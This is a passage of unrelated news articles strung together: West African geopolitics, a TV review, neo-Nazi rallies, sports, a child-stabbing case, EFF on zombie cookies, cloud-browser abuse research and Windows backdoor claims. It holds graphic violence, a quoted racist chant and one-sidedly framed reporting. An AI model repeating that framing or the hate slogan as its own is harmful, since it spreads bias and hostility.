sure then, the U.S. is interested in patrolling West African waters in an effort to stem the tide of drug traffic. There may be other, less public reasons for the U.S. military buildup in the region, however. In an effort to ease its dependence on the volatile Middle East, the U.S. is looking elsewhere for its oil and is likely to receive a whopping 25 percent of its imported petroleum from Africa by 2015. Former American Vice Admiral and Deputy Commander of the U.S. Africa Command Robert Moeller has stated that protecting “the free flow of natural resources from Africa to the global market” is highly important, as well as forestalling oil disruption. What is more, the U.S. must now confront a rising China, a nation which is also interested in securing oil deposits in West Africa. In its drive to acquire natural resources, China has been pursuing offshore oil exploration contracts in the politically unstable nation of São Tomé and Príncipe. In 2009, Chinese petroleum corporation Sinopec acquired Swiss company Addax which gave Beijing control over four oil blocs in the São Tomé and Príncipe-Nigeria joint development zone. The Sinopec purchase in the Gulf of Guinea made China the leading player in the São Tomé and Príncipe oil sector. Whether the islands will actually take off as a major oil producer is still unclear, though drilling is under way and commercial production is expected to begin within a few years. SPONSORED If São Tomé and Príncipe take off as a major oil supplier, China will certainly be well positioned to reap maximum reward from the petroleum bonanza. However, Beijing will also have to reckon with a growing U.S. military profile on the islands. Recently, U.S. Navy Seabees have been renovating a boat ramp on São Tomé’s coast guard base and building a guard house on the premises. Meanwhile, the Pentagon and State Department have installed a new surface surveillance system on the islands. São Tomé and Príncipe is the first African nation to install the program and to integrate such technology into its overall maritime safety program. A Growing Role for São Tomé and Príncipe Meanwhile, politicians on the island have broached the idea of deepening security ties, and Washington is reportedly receptive to the notion. U.S. officials see the island chain as a lily pad or forward operating base staffed by several hundred troops. São Tomé and Príncipe could be a promising site, the Americans believe, since the islands are heavily Catholic and have no history of Islamic militancy. Recently, American Coast Guard cutters have been patrolling local waters in an effort to assess threats to oil access. Coming ashore, the crewmen then fix door hinges no less in a blatant public relations maneuver. Needless to say, not everyone is thrilled about the contingency plans. Speaking to the Associated Press, one local legislator was under no illusions about the growing American presence. “Unfortunately,” he remarked, “Americans are interested in São Tomé because of oil, but São Tomé existed before that.” Former Prime Minister Guilherme Posser, meanwhile, says there should be greater transparency when it comes to military discussions. The notion of a base should be submitted to a national referendum, he argues. The China-Macau Connection Faced with a growing U.S. profile in West Africa, the Chinese have busily sought to counteract such influence. According to a sensitive U.S. diplomatic cable, Chinese immigrants advance the Asian Tiger’s business interests in the region by forming joint ventures with African firms. The influx of new Chinese entrepreneurs has been accompanied by “organized crime elements, which are involved in trafficking, smuggling, and other illegal activities.” Moreover, in a specific effort to counteract the U.S. in African Lusophone countries, Beijing has appealed to its own business community in Macau, a peninsula connected to the southern Chinese mainland. A former Portuguese colony, Macau reverted to Chinese rule in 1999. Speaking with American diplomats, local contacts told the U.S. Consulate in Hong Kong that Macau could be useful to China due to the former colony’s ties to the Catholic Church. To be sure, “more than a few” of Macau’s ethnically Portuguese residents had relocated to Portugal after the colony’s handover to Beijing, and only a very small percentage of local residents spoke Portuguese. Nevertheless, diplomats reported that “a comparatively high 7.6 percent of civil servants in the Macau government claim that Portuguese is their primary language [and] this has helped maintain the Macau government's capacity to interface with Lusophone counterparts on behalf of Beijing.” According to diplomatic cables, China hopes to take advantage of such cultural links and believes that Macau should “expand its economic and trade links with overseas Chinese communities” while also providing “a stable platform for China’s trade ties and linkages” with such Lusophone countries as São Tomé and Príncipe, Cape Verde and Guinea-Bissau. Beijing also hopes that Macau will extend ties to the tiny nation of Equatorial Guinea, a former Spanish colony located in the Gulf of Guinea and Africa’s only Spanish-speaking nation. Though American diplomats report that overall volume of trade between China and the Lusophone countries remains low, Macau could prove quite useful for Beijing in the coming struggle for West African resources. Enter Brazil Overstretched and facing budgetary constraints, the Pentagon may have difficulties containing China in far-flung corners of the globe. In an effort to overcome such disadvantages, the Obama administration has been turning to Brazil, a nation which has common cultural and historical ties to former Portuguese colonies in West Africa [for a longer discussion about the politics surrounding Brazil’s rising role see my earlier al-Jazeera column here]. Though Brazil has not been able to rival China’s economic presence, the South American newcomer has been deploying its corporations to Africa in the hope of cashing in on Africa’s oil boom and deepwater petroleum exploration. Establishing cordial ties to Brasilia may be a shrewd move for Washington. Under former President Lula, Brazil did its utmost to establish links with São Tomé and Príncipe and recently the South American powerhouse wrote off the impoverished island’s debt. During his tenure, Lula traveled to Cape Verde to attend a summit meeting of the so-called Portuguese speaking countries, otherwise known as Comunidades dos Paises de Lingua Portuguesa [or CPLP]. While in Cape Verde, Lula sought to highlight Brazil's long-standing social and economic ties and assistance programs with the island. In a further effort to extend its cultural influence, Brazil is backing Equatorial Guinea’s desire to join the CPLP. Washington seems to hope that Brazil will act as an assistant policeman in West Africa so the Obama administration can avoid unnecessary political entanglements. There are some signs that Brazil, which seeks to guarantee its investments and the free flow of commerce, might just oblige. According to a recent article in the New York Times, Brazil has been training elite African forces at a remote military base in the Amazon. Meanwhile, the Brazilian Ministry of Defense, which wants to halt the spread of piracy, has pledged to donate aircraft to Cape Verde for maritime patrol duties. Washington’s Wary Ally? In West Africa, the Pentagon needs all the help it can get. The U.S. Coast Guard has been paying visits to Cape Verde and Equatorial Guinea, but oil facilities are considered vulnerable. In politically unstable Equatorial Guinea, some American oil platforms are protected not by the local government’s insignificant Navy but by private unarmed guards. Interviewed by the Associated Press, one U.S. military officer described Equatorial Guinea’s military authorities as “distant and standoffish,” speculating that the estrangement had to do with increasing Chinese influence in the troubled West African nation. Coming to the aid of an ally, Brazil has trained U.S. military personnel at its own jungle warfare center. Meanwhile, U.S. ships perform joint exercises with the Brazilian Navy and both countries patrol the waters stretching from Rio de Janeiro to the Gulf of Guinea. Presumably, Brazil carries out such collaboration because it is concerned with maritime security and drug trafficking, though perhaps this South American newcomer also shares Washington’s concern over rising Chinese influence. Whatever the case, Brazil seems perfectly happy for the time being to act in concert with the Obama administration. The question, however, is whether Brazil will view such collaboration as desirable in the long-term. Already, there have been strains in the U.S.-Brazilian relationship, and there may come a time when this up and coming South American nation may wish to carve out its own sphere of influence in the Lusophone world without any interference from outside powers. -The best network TV show that no one’s watching is ABC’s “American Crime.” How this provocative drama from Oscar winner John Ridley got lost in the programming shuffle — and has yet to be renewed — is one of the more distressing mysteries of the TV season. Ideally, it should have premiered last fall, when audiences were primed for new offerings, instead of being tacked on the schedule in March — after the conclusion of the dopey (and unresolved) Viola Davis acting seminar “How To Get Away With Murder.” Thematically challenging and structurally ambitious, “American Crime” offers something lacking in any other show on the ABC lineup: an actual adult story about an issue that affects us all — the nation’s criminal defense system. While Ridley’s point of view is very distinct, he skilfully dramatizes how one crime can ruin the lives of almost any family — and how the search for justice is, at the very least, frustrating and sometimes meaningless. We meet the three families after the murder of Matt Skokie, a US military veteran who has become a petty drug dealer in Modesto, Calif. His divorced parents, recovering gambling addict father Russ (Timothy Hutton) and racist mother Barb (Felicity Huffman), are bitterly reunited. Matt’s wife, Gwen (Kira Pozehl), survives the shooting but is left stricken with aphasia and cannot help the case; her parents (W. Earl Brown and Penelope Ann Miller) are more concerned with their daughter’s recovery than with Barb’s crusade for justice. A local family, the Gutierrezes, becomes swept up in the arrests when a teenage boy (Johnny Ortiz) is in the wrong place at the wrong time. The series, whose eighth episode airs next Thursday, kicks into high gear when the prime suspect, African-American drug addict Carter Nix (Elvis Nolasco), is released in the face of circumstantial evidence. Barb goes ballistic, flat-out telling the cops they don’t know how to do their jobs. She successfully campaigns to have the case reclassified as a hate crime and states her case on television. Not long after, a thrown brick shatters her car window. There is no witness to the crime and the cops can’t do much without one. Barb buys a gun for her own protection, gets a license and starts practicing on a firing range. The demoralization of Barb is only one of the consequences of the original crime, but each is rendered powerfully. Ridley is greatly aided by a first-rate cast. After wallowing way too long in the silliness of “Desperate Housewives,” Huffman rebounds to striking effect as the intolerant Barb, a woman who will not back down from her crusade. Hutton does his best work in years as the wayward father who will never make up for lost time. Had “American Crime” premiered in September, the stars and supporting players, including Benito Martinez as Alonzo Gutierrez, would all be touted for Emmy consideration. -MURFREESBORO, Tenn. -- White supremacists and neo-Nazis planned two rallies in Tennessee on Saturday after law enforcement officials made lengthy preparations to prevent violence between marchers and counter-protesters. The two "White Lives Matter" marches were scheduled in Shelbyville and Murfreesboro on Saturday. Despite high tensions and insults exchanged with counter-protesters, there was no violence reported at the first rally in Shelbyville, CBS affiliate WTVF reports. The Shelbyville rally began Saturday morning and ran until 1 p.m. local time. Only one person was arrested as of Saturday afternoon. A male was taken into police custody after jumping a barrier in an attempt to advance toward the white supremacist rally, WTVF reports. The second event was canceled by "White Lives Matter" protesters shortly after the first march ended. "Apparently it took so long to get through lines in Shelbyville," WTVF journalist Matthew Torres reports. The heavy law enforcement presence at both locations included police helicopters, K-9 units and officers armed with sniper rifles. Several large trucks were used as roadblocks to prevent vehicles from driving into crowds. Counter-protesters were allowed to enter the public square through two designated streets. Safety checkpoints were set up to prevent protesters from bringing weapons and masks into the area. Two lines for counter protesters in Murfreesboro to get through. One of two checkpoints. MANY items are prohibited. @NC5 pic.twitter.com/8RJAqk8DXE — Matthew Torres (@NC5_MTorres) October 28, 2017 The city of Murfreesboro estimates between 400 and 500 protesters were in attendance at the "White Lives Matter" rally. Footage of the demonstrations on social media showed white nationalist protesters chanting "closed borders, white nation, now we start the deportation." The Nationalist Front marchs in Tennessee, chanting: "Closed borders, white nation, now we start the deportation!" pic.twitter.com/i5NT5pttEJ — Jack Smith IV (@JackSmithIV) October 28, 2017 The rallies were held weeks after violent clashes in Charlottesville, Virginia, at a white nationalist rally in August. One counter-protester was killed when a man drove his car into a group marching through the streets. -North America: Tuesday, February 3 @ 4:00 p.m. PST Tuesday, February 3 @ 4:00 p.m. PST Europe: Wednesday, February 4 @ 4:00 p.m. CET Wednesday, February 4 @ 4:00 p.m. CET Asia: Wednesday, February 4 @ 4:00 p.m. KST North America: Friday, February 13 @ 6:00 p.m. PST Friday, February 13 @ 6:00 p.m. PST Europe: Friday, February 13 @ 6:00 p.m. CET Friday, February 13 @ 6:00 p.m. CET Asia: Friday, February 13 @ 6:00 p.m. KST Greetings, nephalem!Season 1 is about to draw to a close, and we wanted to give players an opportunity to prepare for the start of the new season with some dates and times to plan around.Season 1 will be ending at the following dates and times for each region:Season 2 will be starting at the following dates and times for each region:For time zone assistance, click here We look forward to seeing you in Season 2!*Please note that Era 1 will end at the same time as Season 1. For more information, please click here -Serbian Vladimir Vermezovic has been appointed coach of South African side Orlando Pirates, two years after he resigned from rivals Kaizer Chiefs. The 50-year-old succeeds Roger de Sa, who quit last month because of exhaustion after 18 months at the helm. Cheifs said Vermezovic will replace caretaker coach Eric Tinkler once a work permit has been granted. Vermezovic left Chiefs in 2012 after a three-year spell in which he twice won the League Cup. His last job was coach of Partizan Belgrade, who he left in April 2013 after less than a year in charge. Under former South Africa goalkeeper De Sa, Pirates reached last year's African Champions League final, losing 3-1 over two legs to Egyptian giants Al Ahly. They were also beaten in two domestic cup finals this season, and a fixture backlog means they trail league leaders Chiefs by 17 points halfway through the season. -During weekly protest near town of Modiin Illit, Arab protester sends small child towards IDF soldiers, tells them to shoot his son. For nearly a decade, residents of the villages of Nilin and Bilin, located near the haredi town of Modiin Illit, have held fiery, often violent demonstrations against the construction of the security fence every Friday. The demonstrations, which often include stone-throwings, draw anarchists and opponents of the Jewish state from around the world. While provocations against soldiers and Border Police are common, this Friday, one Arab participant attempted to use his son in the propaganda war against Israel, in a disturbing form of child exploitation. A recording of the incident shows the man carrying his young son towards several Border Police officers, setting him down, and shoving him off in the officers’ direction while waving a PLO flag. The man then seemingly yells at the soldiers to shoot his son, hoping to create a news item and fire up anti-Israel sentiment. The officers, however, do not take the bait. They instead attempt to shake the boy’s hand and speak with him, though the father, apparently intent on exploiting his son and turning him into the latest “martyr,” seems to scream at him to attack the soldiers with stones. The child eventually attempted to comply with his father’s demands, but posed little threat as the soldiers watched him harmlessly toss stones aimlessly. -Gwinnett mom felt “devil like spirit” before stabbing children, husband Share Nine-year-old Diana Romero said she saw her mother stabbing her brothers, sister and father, but before the woman turned on Diana she told her that she was “going to the sky to see Jesus,” according to a state child welfare report obtained Wednesday by The Atlanta Journal-Constitution. The young girl cried and told her mother that she didn’t want to go to see Jesus, according to the report by the state Division of Family and Children Services. The DFCS documents include a caseworker’s notes on her interview with Diana, who describes in horrid detail watching her mother slay her siblings and father one by one in their Loganville home. The child, for instance, says that her father tried to stop the mother but couldn’t. Isabel Martinez, 33, is accused of stabbing and killing her husband, 33-year-old Martin Romero, and four of her children, 2-year-old Axel, 4-year-old Dillan and 7-year-old Dacota Romero and 10-year-old Isabela Martinez, early on July 6. Isabel Martinez gestures towards news cameras during her first court appearance Friday. (AP Photo/John Bazemore) Photo: The Atlanta Journal-Constitution She was charged with five counts of malice murder, five counts of murder and six charges of aggravated assault. The DFCS report also includes a interview with the mother in the Gwinnett jail, who says she is innocent and that the killings were performed by a “family friend,” but she provides no name. Martinez tell the DFCS caseworker that she tried to stop the friend and he cut her on the wrist. Martinez also described a recent family trip to Savannah where, according to the report, she felt “a devil-like spirit” and where she felt the waves trying to take her and her children away. IN DEPTH: A peaceful neighborhood, a monstrous crime RELATED: Hundreds gather to mourn husband, 4 children slain in Gwinnett The child welfare agency had one prior interaction with the family in September of 2015, when the agency received an accusation saying the father struck one of the daughters with a shoe and a phone charger at night when she wouldn’t sleep. It’s unclear in the report which daughter was being struck. The agency investigated and both parents admitted disciplining the children using a belt on their behinds. But the agency found there were no safety threats and the case was closed soon after. “In Georgia corporal punishment crosses the line when there are welts or marks or bruises,” said Ashley Fielding Cooper, DFCS chief operating officer. “Based on the information we gathered in this case we determined that corporal punishment was used within the bounds of the law and that maltreatment did not occur.” On the deadly night of July 6, Diana Romero, a fourth-grader at Magill Elementary School, was stabbed by her mother, police say. She is the only survivor of the attacks. Family members have said she is steadily improving but has a long road to recovery both physically and mentally. In a small mobile home community in Gwinnett, Isabel Martinez was charged with multiple counts of murder in the stabbing deaths of four of her children and their father. (Erica A. Hernandez/AJC) The caseworker spoke with Diana at 12:15 p.m. July 10. Before she opened up to the caseworker about the attacks, the child talked about having fun on the beach in Savannah. She said her mother and father did not fight while the family was away. She said her mother seemed normal when they all came home. Diana said the police had never come to her home before. As she began to speak about that night, Diana cried, the report said. She said everyone seemed to be asleep when the trouble started. She said she saw her mother take the knife out of the kitchen and start cutting her brothers and sister. A public GoFundMe site set up by family member identified the surviving child as Diana. The site says Diana remains in the hospital and is expected to stay there for another two to three weeks to recover from her injuries. The site is seeking donations to cover the family’s funeral and medical costs. Photo: GoFundMe Romero Family Funeral and Medical Fund. Photo: HANDOUT Her father rushed into the living room and tried to get help, but when he was walking to the door, she cut him too, according to the report. Diana told the caseworker that, watching all this before her, she could not move. She said her mother was not crying or screaming during the stabbings, the report said. She said her mother called the police after she cut herself. Five of the family members were dead when police arrived at the home in the pre-dawn hours. Martinez said that before police arrived she placed all the bodies in the same room so they could be together. In a subsequent court appearance Martinez exhibited bizarre behavior, smiling and giving cameras the thumbs-up sign. On Tuesday, the attorney for the woman said she will not undergo a psychological evaluation at this stage in her case, but could later on. -Advertising network Turn announced today that they will suspend their zombie tracking cookie program. Turn was recently caught using Verizon Wireless' invasive UIDH header to undelete tracking cookies that web visitors had previously deleted. This unacceptable practice means that users who delete cookies to avoid Turn's and others' tracking will continue to be tracked against their will, using information associated with their previous activity through a permanent identity. This is a step toward victory for everyone who spoke out against Turn's zombie cookies, but it is not enough. Turn's cookies just underscore the huge privacy problems with Verizon's header injection. Turn's cookies were the first example found, but Verizon enables any company to use the identifier in similarly abusive ways, some of which may not be visible to users. Verizon needs to follow Turn's lead, and end their UIDH header injection program immediately. Turn plans to "suspend" the zombie cookie program "pending re-evaluation." We again call on Turn to end their zombie cookie program permanently, and to commit not to use headers, browser fingerprinting, or any other method to circumvent individuals' decision to delete cookies. Additionally, Turn says, "By early February, Turn will not 'respawn' cookie IDs associated with the Verizon UIDH." Turn should treat this as the urgent privacy problem that it is, and end the cookie respawning today, not three weeks from now. Companies that engage in cookie syncing with Turn, as EFF described recently, should immediately disable the Turn cookie syncing program and delete existing cookie syncing data until Turn has confirmed that they have stopped respawning cookies and have purged any cookies that they may have respawned. -Gov. Scott activates 100 Florida National Guard members NAPLES – Today, Governor Rick Scott activated 100 members of the Florida Air and Army National Guard to support with planning, logistics and operations in preparation for potential impacts from Hurricane Irma. These 100 members will be stationed across the state, and will advise the Governor on available and needed resources to ensure communities are fully prepared for the storm. In addition, at the direction of Governor Scott, all 7,000 National Guard members will be reporting for duty Friday morning. Yesterday, Governor Scott issued Executive Order 17-235, which declared a state of emergency in all 67 counties within the State of Florida in response to Hurricane Irma and allowed for the immediate activation of National Guard members as preparedness actions continue. Governor Scott said, “Today I am activating 100 members of the Florida Air and Army National Guard to immediately begin assisting with ongoing Hurricane Irma preparation. Per my direction, they will be stationed throughout the state. I have also directed all 7,000 guard members to report for duty this Friday, however, if resources are needed before then, I stand ready to activate as many guard members needed to support our aggressive preparedness actions. With Hurricane Irma now a category 5 storm, we must do all we can to prepare our families and communities for any potential impact from this major weather event. We do not know the exact path of this storm, but weather can change in an instant and while we hope for the best, we must prepare for the worst.” -Researchers ID Ways to Exploit ‘Cloud Browsers’ for Large-Scale, Anonymous Computing Researchers from North Carolina State University and the University of Oregon have found a way to exploit cloud-based Web browsers, using them to perform large-scale computing tasks anonymously. The finding has potential ramifications for the security of “cloud browser” services. At issue are cloud browsers, which create a Web interface in the cloud so that computing is done there rather than on a user’s machine. This is particularly useful for mobile devices, such as smartphones, which have limited computing power.The cloud-computing paradigm pools the computational power and storage of multiple computers, allowing shared resources for multiple users. “Think of a cloud browser as being just like the browser on your desktop computer, but working entirely in the cloud and providing only the resulting image to your screen,” says Dr. William Enck, an assistant professor of computer science at NC State and co-author of a paper describing the research. Because these cloud browsers are designed to perform complex functions, the researchers wanted to see if they could be used to perform a series of large-scale computations that had nothing to do with browsing. Specifically, the researchers wanted to determine if they could perform those functions using the “MapReduce” technique developed by Google, which facilitates coordinated computation involving parallel efforts by multiple machines. The research team knew that coordinating any new series of computations would entail passing large packets of data between different nodes, or cloud browsers. To address this challenge, researchers stored data packets on bit.ly and other URL-shortening sites, and then passed the resulting “links” between various nodes. Using this technique, the researchers were able to perform standard computation functions using data packets that were 1, 10 and 100 megabytes in size. “It could have been much larger,” Enck says, “but we did not want to be an undue burden on any of the free services we were using.” “We’ve shown that this can be done,” Enck adds. “And one of the broader ramifications of this is that it could be done anonymously. For instance, a third party could easily abuse these systems, taking the free computational power and using it to crack passwords.” However, Enck says cloud browsers can protect themselves to some extent by requiring users to create accounts – and then putting limits on how those accounts are used. This would make it easier to detect potential problems. The paper, “Abusing Cloud-Based Browsers for Fun and Profit,” will be presented Dec. 6 at the 2012 Annual Computer Security Applications Conference in Orlando, Fla. The paper was co-authored by Vasant Tendulkar and Ashwin Shashidharan, graduate students at NC State, and Joe Pletcher, Ryan Snyder and Dr. Kevin Butler, of the University of Oregon. The research was supported by the National Science Foundation and the U.S. Army Research Office. -shipman- Note to Editors: The study abstract follows. “Abusing Cloud-Based Browsers for Fun and Profit” Authors: Vasant Tendulkar, Ashwin Shashidharan and William Enck, North Carolina State University; Joe Pletcher, Ryan Snyder and Kevin Butler, University of Oregon Presented: Dec. 6, 2012, at ACSAC in Orlando, Fla. Abstract: Cloud services have become a cheap and popular means of computing. They allow users to synchronize data between devices and relieve low-powered devices from heavy computations. In response to the surge of smartphones and mobile devices, several cloud-based Web browsers have become commercially available. These “cloud browsers” assemble and render Web pages within the cloud, executing JavaScript code for the mobile client. This paper explores how the computational abilities of cloud browsers may be exploited through a Browser MapReduce (BMR) architecture for executing large, parallel tasks. We explore the computation and memory limits of four cloud browsers, and demonstrate the viability of BMR by implementing a client based on a reverse engineering of the Puffin cloud browser. We implement and test three canonical MapReduce applications (word count, distributed grep, and distributed sort). While we perform experiments on relatively small amounts of data (100 MB) for ethical considerations, our results strongly suggest that current cloud browsers are a viable source of arbitrary free computing at large scale. -Last week, we took a stab at naming one All-Star squad that spanned both leagues, and judging by the actual rosters that were announced Sunday we guessed pretty well. But what about, for lack of a better term, the Non-Stars? The players who've put up the most disappointing first halves in baseball, relative to expectations? What would that team look like? FAGAN: The best players not on an All-Star roster — yet Let's go position by position and find the players who fit the bill: C: Jonathan Lucroy, Rangers Numbers: .263/.311/.375, 4 HR, 20 RBI, 0.1 WAR Why he's here: Lucroy's numbers are way down from his career averages across the board, and he's in danger of posting his lowest OPS since his rookie season in 2010. One of the better offensive catchers in baseball up until this year, Lucroy was supposed to be a key cog in a powerful Rangers lineup but has underachieved just like the entire team. There have been rumblings that the team is listening to offers for him, which shows just how far out of favor he's fallen. 1B: Miguel Cabrera, Tigers Numbers: .264/.358/.456, 11 HR, 39 RBI, 0.5 WAR Why he's here: First base was a tough position to fill, because there really isn't one guy who's having the kind of year that would land him on this list. So it's the future Hall of Famer Cabrera almost by default, as he's sporting what would be the lowest slugging percentage of his career and his lowest OPS since 2003. It's worth noting that Cabrera went crazy at the plate in the second half last year, so his stay on this list may be short-lived. 2B: Rougned Odor, Rangers Numbers: .211/.249/.387, 14 HR, 35 RBI, -0.3 WAR Why he's here: The league seems to have adjusted to Odor after his breakout 2016 season, and he's yet to adjust back. Like his teammate Lucroy, Odor has underachieved considerably with an OPS that right now is 162 points lower than his total from last year. He's never been an on-base demon, but this year he's striking out at an alarming rate and managed just one walk the entire month of June. He's dug himself quite a hole in the first half, and he's yet to find the answers to get himself out. SS: Trevor Story, Rockies Numbers: .224/.305/.409, 11 HR, 31 RBI, 0.6 WAR Why he's here: Expectations were sky-high for Story after his impressive debut last year, when he looked to be neck-and-neck with Corey Seager in the NL ROY race before an injury ended his season early. He hasn't quite lived up to those expectations thus far, posting mostly pedestrian numbers while playing in one of the best hitter's parks in the game. He hasn't been bad, per se — he's dealt with injuries this year, too — but considering what he showed last year, it's hard not to be disappointed with the numbers he's put up in the first half. The Rockies' Trevor Story has struggled to match the performance he showed early in his rookie season. (Getty Images) 3B: Manny Machado, Orioles Numbers: .217/.289/.420, 15 HR, 38 RBI, 1.0 WAR Why he's here: The past two seasons made it look like Machado would be a perennial MVP candidate, which is why his start to the year has been so puzzling. He was bothered by a wrist injury early in June, and it's possible that it's still affecting him, but that doesn't explain away his struggles in April and May. Whatever the reason, Machado's first half might be the most disappointing in either league. HOME RUN DERBY: Participants, date, time, how to watch OF: Carlos Gonzales, Rockies Numbers: .221/.300/.348, 6 HR, 20 RBI, -0.9 WAR Why he's here: CarGo went through a horrendous slump in June, which at one point saw him go hitless in 27 straight at-bats. His numbers never recovered and he's on track to post his worst career numbers over a full season just before hitting free agency this winter. Talk about awful timing. OF: Gregory Polanco, Pirates Numbers: .246/.310/.379, 6 HR, 22 RBI, -0.1 WAR Why he's here: He was expected to be a key cog in the Pirates' lineup after posting career-best numbers last year; however, the struggles that plagued him in the second half of '16 have carried over into this year. Polanco's numbers are rather pedestrian, and while he's had flashes this year (a .900 OPS in May, for instance) he hasn't been able to keep it up (a .520 OPS in June). OF: Kyle Schwarber, Cubs Numbers: .171/.295/.378, 12 HR, 28 RBI, -0.7 WAR Why he's here: No one will forget his incredible comeback from a devastating injury last season to play in the World Series and help push the Cubs over the finish line. But Schwarber hasn't been able to carry over that momentum into this season, to the point where his struggles became so pronounced that the Cubs had no choice but to send him to the minors to get straightened out. This definitely wasn't the season anyone had in mind for Schwarber after watching him hit .412 in the World Series last fall. DH: Albert Pujols, Angels Numbers: .234/.278/.372, 11 HR, 52 RBI, -1.2 WAR Why he's here: Father Time is undefeated, as the old saying goes, and he seems to finally be catching up to Pujols. While he's still a smart, dangerous hitter at times, Pujols has seen his overall numbers plummet this year to career lows virtually across the board. And he still has four years left on his contract. Yeesh. Albert Pujols reacts after striking out. (Getty Images) SP: Rick Porcello, Red Sox Numbers: 5.06 ERA, 1.51 WHIP, .312 BAA, -0.3 WAR Why he's here: Like Dallas Keuchel in 2016, Porcello has been a huge disappointment the year after winning the AL Cy Young Award. Even if he wasn't expected to match last year's achievements, few could have seen such a major drop in production for Porcello, who hasn't been able to fool anyone this season. His teammate David Price could've taken this spot, too. RP: Mark Melancon, Giants Numbers: 4.35 ERA, 1.35 WHIP, .298 BAA, 4 blown saves, 0.1 WAR Why he's here: The Giants gave him a monster contract last winter to fix their bullpen woes. It hasn't quite worked out that way, as Melancon has as many blown saves this season as he did in all of 2016 and has found his way to the DL twice. It's not much better than what the Giants got from their bullpen last year, only it's costing them a lot more money this time. In a year when almost nothing has gone right for the Giants, Melancon's performance still manages to stand out. -May 26, 2015 / Brooklyn news / Williamsburg / Music / Brooklyn Is Awesome Juan Morel Campos students play hallway rock shows Appetite for instruction! Williamsburg school teaches Rock 101 The Brooklyn Paper Share on Twitter Tweet Share on Facebook Share The halls are alive with the sound of music at Williamsburg’s Juan Morel Campos Secondary School, where rock ’n’ roll high schoolers play concerts in the corridor every Friday afternoon. The bands set up right by the school’s main door and play rock and pop tunes as kids and teachers are heading home for the day — and now students actually want to stay behind after class, says the teacher-turned-band-booker behind the gigs. “Every week, everyone will crowd around the musicians,” said Stacey Wong, who teaches music to kids from sixth to 12th grade at the school on Heyward Street, between Marcy and Harrison avenues. “They love it.” The acts cut their teeth in Wong’s music classes, where she forms the mini Hendrixes and junior Joan Jetts into rock supergroups — each including several guitarists, bass players, keyboardists, and vocalists — and schools them in songs such as “Rolling in the Deep” by Adele, “Take Me To Church” by Hozier, and “Thinking Out Loud” by Ed Sheeran. Kids learn music more quickly by playing Bruno Mars than Beethoven, she said. “I want them to be able to enjoy playing music and then they can throw themselves into the theory,” said Wong. “If they are playing music they do not like, they will not stick with it. I get them playing Adele right away and they love it.” Wong uses a curriculum called Amp Up NYC, which helps educators to get their students hooked on music class by teaching them the modern songs they already listen to. Little Kids Rock — an organization that offers free instruments and teacher training to low-income schools with shoddy or no music classes — created the program in partnership with Massachuse­tts’s Berklee College of Music and the New York City Department of Education, and they collectively intend to roll the scheme out to 600 schools city-wide by 2017. At Juan Morel Campos, the school of rock has been such a success that some of the students have split off into their own bands and solo projects outside of the class. And the kids say they intend to keep on rocking long after school’s out forever. “Doing this makes it seem easier for me to branch out when I leave here and continue with music,” said 10th grader Shanice Rodriguez, who has formed a duo with 11th-grade guitarist Elvin Jaquez. “I really want to keep doing this.” Jaquez said he learned jazz drumming in middle school, but didn’t realize he was really born to shred until he was exposed to the axe in class. “My family never had that kind of musical direction, but now that I am doing this, it is something that really interests me,” he said. Amp Up NYC provides the schools with some equipment, but Wong says she has kept up with student demand by asking for donations to purchase extra guitars, amps, strings, picks, and tuners on fundraising websites. Sadly for music scenesters, the Friday shows are the only gig in Williamsburg you can’t get on the door-list for — they are open to Juan Morel Campos students, parents, and staff only. Updated 10:17 pm, July 9, 2018 ©2015 -Microsoft is again involved in talks over United States’ PRISM spying program, this time in Australia where the local security boss claims that government computers could be monitored using a Windows backdoor. This isn’t the first time when Microsoft is accused of implemented a backdoor in its operating system to provide unrestricted access to US intelligence agencies, even though Redmond has strongly denied such a scenario, claiming that it only provides user data based on federal request. Eija Seittenranta, head of the network security department in the Australian government, said in a statement that the country hasn’t tried anything in particular to secure the computers and block any surveillance system that might be employed by the United States under the PRISM program. “It probably should be noted that our network is not a protected network, it is unclassified,” Seittenranta stated according to The Guardian. While she hasn’t said it very clear whether a Windows backdoor would provide access to secret data, Seittenranta mentioned that “we don’t have the technical skills to create patches,” so in case such a backdoor exists, it’s still unblocked at this point. On the other hand, Seittenranta stated that while leaked documents confirm that the PRISM program was indeed launched by the United States, some of the information that reached the web was only speculation, suggesting that Australian’s parliamentary IT systems might not be at risk. “We are aware there are rumoured to be things like that around,” she said. Some leaked documents belonging to the German government that got leaked during the summer indicated that local authorities have been advised to avoid using Windows 8 due to a potential backdoor hidden in the operating system. Microsoft, on the other hand, has quickly denied all accusations, saying that Windows 8 is an important step forward in terms of security and all privacy concerns regarding the operating system are “addressable.” “Since most users accept defaults, requiring the user to enable the TPM will lead to IT users being less secure by default and increase the risk that their privacy will be violated. We believe that government policies promoting this result are ill-advised,” the company stated. -CORAL GABLES, Fla. – The University of Miami men's basketball team will play nine nationally-televised games and host six conference foes that played in last season's NCAA Tournament, the Atlantic Coast Conference announced with its 2017-18 league schedule release Thursday. The Hurricanes will make two appearances on ESPN's "Big Monday," hosting Duke and traveling to Notre Dame, and will make six other appearances on ESPN or ESPN2, including a road tilt at defending national champion North Carolina. The Hurricanes will also be showcased nationally on CBS when they host Syracuse. "Year in and year out, the ACC is the best basketball conference in the country from top to bottom and this year will be no exception," Hurricanes head coach Jim Larrañaga said. "This schedule will provide a tough test every night, and we will need to play our best because nearly every game we will be squaring off against nationally-ranked opponents." The ACC sent a league-record nine teams to the NCAA Tournament last season, including Miami, which has made the tournament in three of the last five years. Miami posted a 7-2 home record in conference games last season. "Our fans created an electric atmosphere at Watsco Center last year and we are looking forward to having that same type of home court advantage this year," Larrañaga said. Miami will host the Blue Devils on Monday, Jan. 15, at 7 p.m. The Hurricanes defeated Duke at Watsco Center on Senior Day last season, 55-50, behind 25 points from then-freshman guard Bruce Brown. The Hurricanes will venture to South Bend for their second "Big Monday" appearance on Feb. 19. Miami hosts four conference games – Louisville, Wake Forest, Virginia and Virginia Tech – on either ESPN or ESPN2. The Hurricanes travel to Chapel Hill to face the Tar Heels on Tuesday, Feb. 27 on ESPN. Miami defeated North Carolina, 77-62, last season, UNC's largest margin of defeat in 2016-17. The Hurricanes will also host Syracuse on Feb. 17, in a nationally televised CBS encounter. The Orange defeated Miami, 70-55, at the Carrier Dome last season before the Hurricanes exacted revenge in the quarterfinals of the ACC Tournament with a 62-57 victory. The Hurricanes open their conference slate with two games on the road – at Pittsburgh (Dec. 30) and Georgia Tech (Jan. 3) -- before returning home to Watsco Center to host rival Florida State on Sunday night, Jan. 7, 2018, on ESPNU at 6 p.m. Miami then travels to Clemson on January 13, for another ESPNU telecast. After 